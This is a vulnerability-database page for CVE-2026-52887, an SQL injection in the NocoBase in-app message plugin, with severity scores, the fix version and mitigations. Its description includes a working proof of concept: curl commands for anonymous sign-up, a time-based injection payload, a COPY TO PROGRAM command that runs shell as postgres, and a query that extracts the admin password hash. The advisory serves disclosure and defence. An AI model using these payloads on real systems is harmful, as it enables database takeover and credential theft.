VulnerabilityPublished 31 Jul 2026

CVE-2026-52887: app message: NocoBase: SQL injection · Plugin Notification

Affects @nocobase/plugin-notification-in-app-messageSource GCVE Database

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Not known to be exploited · CVSS 10.0 Critical : upgrade to 2.0.61 as a priority.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 3.1 base score

10.0Critical

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.8% chance of exploitation in 30 days – higher than 59% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 2.0.61

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Changed
Confidentiality: High
Integrity: High
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Changed: An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 31 Jul 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: evidence found.
Public exploit code: GitHub proofs of concept
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), GitHub proofs of concept, the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade @nocobase/plugin-notification-in-app-message to 2.0.61.

Affected software

Product	Affected	Fixed in
npm@nocobase/plugin-notification-in-app-message	Affected <2.0.61	Fixed in 2.0.61

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

An official patch is available that fixes this vulnerability. Users should upgrade @nocobase/plugin-notification-in-app-message to version 2.0.61 or later. Until patched, it is recommended to disable anonymous sign-up or restrict database user privileges to non-superuser roles to mitigate exploitation. Review and update the docker-compose configuration to avoid assigning superuser roles to the database user. Check the vendor advisory for the latest remediation guidance.

Description

## Summary `GET /api/myInAppChannels:list` accepts a structured `filter` query parameter. The handler for the `latestMsgReceiveTimestamp` field splices the `$lt` value directly into a `Sequelize.literal()` template string with no escape, type cast, or parameter binding. The action ACL is `loggedIn`, so any authenticated account reaches it. The default `auth-basic` authenticator ships `allowSignUp: true`, so the account is obtainable anonymously. The injection is reachable with the URL parameter `filter[latestMsgReceiveTimestamp][$lt]=<expression>`. The `pg` driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads. The shipped `docker-compose.yml` creates the DB role `nocobase` on a stock `postgres:16` image, which assigns the `rolsuper` attribute by default. `COPY ... TO PROGRAM '...'` therefore runs shell commands as `uid=999(postgres)` inside the database container. Result: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in. ## Affected NocoBase server, `@nocobase/plugin-notification-in-app-message` `<=2.0.57`. Confirmed live-exploitable on the official `nocobase/nocobase:2.0.57` Docker image (HEAD `e35a2737d9df139cacecae0151c3326746e2339a`). `@nocobase/plugin-notification-in-app-message` is enabled by default in `@nocobase/preset-nocobase`. The default `auth-basic` ships `allowSignUp: true`. The shipped `docker/app-postgres/docker-compose.yml` uses `POSTGRES_USER=nocobase` against `postgres:16`, which makes the role a PostgreSQL superuser; `COPY ... TO PROGRAM` runs from this role. ## Root cause `packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63`: the `latestMsgReceiveTimestamp` filter is built as `Sequelize.literal(\`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}\`)`. The `$lt` value comes straight from the GET `filter` JSON; the template uses `${...}` interpolation with no `escape()`, `replacements`, or type cast. `packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200`: `app.acl.allow('myInAppChannels', '*', 'loggedIn')` exposes every action on the resource to every authenticated role, including the seeded `member`. `packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295`: `allowSignUp: true` ships in the default `auth-basic` seed; `POST /api/auth:signUp` returns 200 with no admin involvement. `docker/app-postgres/docker-compose.yml:30`: `POSTGRES_USER: nocobase` against `postgres:16`. The bare `postgres:16` image creates the named role with `rolsuper=true` (live-verified: `SELECT rolsuper FROM pg_roles WHERE rolname='nocobase'` returns `true`). The `pg` driver simple-query accepts stacked statements. ## Reproduction Tested against `nocobase/nocobase:2.0.57` from the official Docker image with the default `app-postgres` compose. Attacker is an anonymously-signed-up `member`. 1. Anonymous sign-up, then sign-in for a `member` JWT. ``` curl -X POST -H 'Content-Type: application/json' \ -d '{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}' \ http://target:13000/api/auth:signUp?authenticator=basic TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \ -d '{"account":"a","password":"P!ssw0rd1"}' \ http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token) ``` 2. Time-based oracle confirms injection. Each request below takes ~5 seconds. ``` curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \ "http://target:13000/api/myInAppChannels:list" \ --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a" ``` 3. Stacked-statement `COPY ... TO PROGRAM` runs shell as `uid=999(postgres)` inside the database container. ``` curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \ "http://target:13000/api/myInAppChannels:list" \ --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --" docker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt # uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert) ``` Live-verified: sqlmap 1.10.3 against this endpoint reports `Type: boolean-based blind` (payload `0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH`), `Type: time-based blind`, `current user: nocobase`, `current user is DBA: True`. Admin password hash `ef6ea7f6...8ea12` exfiltrated via `COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM 'cat > /tmp/PWN_HASH.txt'`. Reproduced 2026-05-26 against HEAD `e35a2737`. ## Impact - Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (`pg` driver simple-query). - Arbitrary row read of any collection, including `use

Impact

This vulnerability allows unauthenticated attackers to sign up and authenticate as a normal user, then exploit an SQL injection to execute arbitrary SQL commands with superuser privileges on the PostgreSQL database. This includes reading any data, exfiltrating sensitive information such as user credentials, and executing arbitrary shell commands inside the database container. The impact is full compromise of the database container and data confidentiality, integrity, and availability.

CWE-89Improper Neutralization of Special Elements used in an SQL Command (SQL Injection) (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #2OWASP Top 10 A05:2025: Injection (opens in a new tab)
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
Architecture and Design · Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Architecture and Design · Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Architecture and Design · Operation · Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment.
OWASP Cheat Sheets
Query Parameterization (opens in a new tab)
Unvalidated Redirects and Forwards (opens in a new tab)
XML Security (opens in a new tab)
XML External Entity Prevention (opens in a new tab)
File Upload (opens in a new tab)
OWASP ASVS 4.0.3
V5.3.4 (opens in a new tab)
V5.3.5 (opens in a new tab)
V1.5.1 (opens in a new tab)
Attack patterns
Command Line Execution through SQL Injection (opens in a new tab)
Object Relational Mapping Injection (opens in a new tab)
SQL Injection through SOAP Parameter Tampering (opens in a new tab)
Expanding Control over the Operating System from the Database (opens in a new tab)
SQL Injection (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 31 Jul 2026, 21:33 UTC

Public exploits and detectionGitHub proofs of concept

WeaknessesCWE-89

Technical details

References

Community reviews

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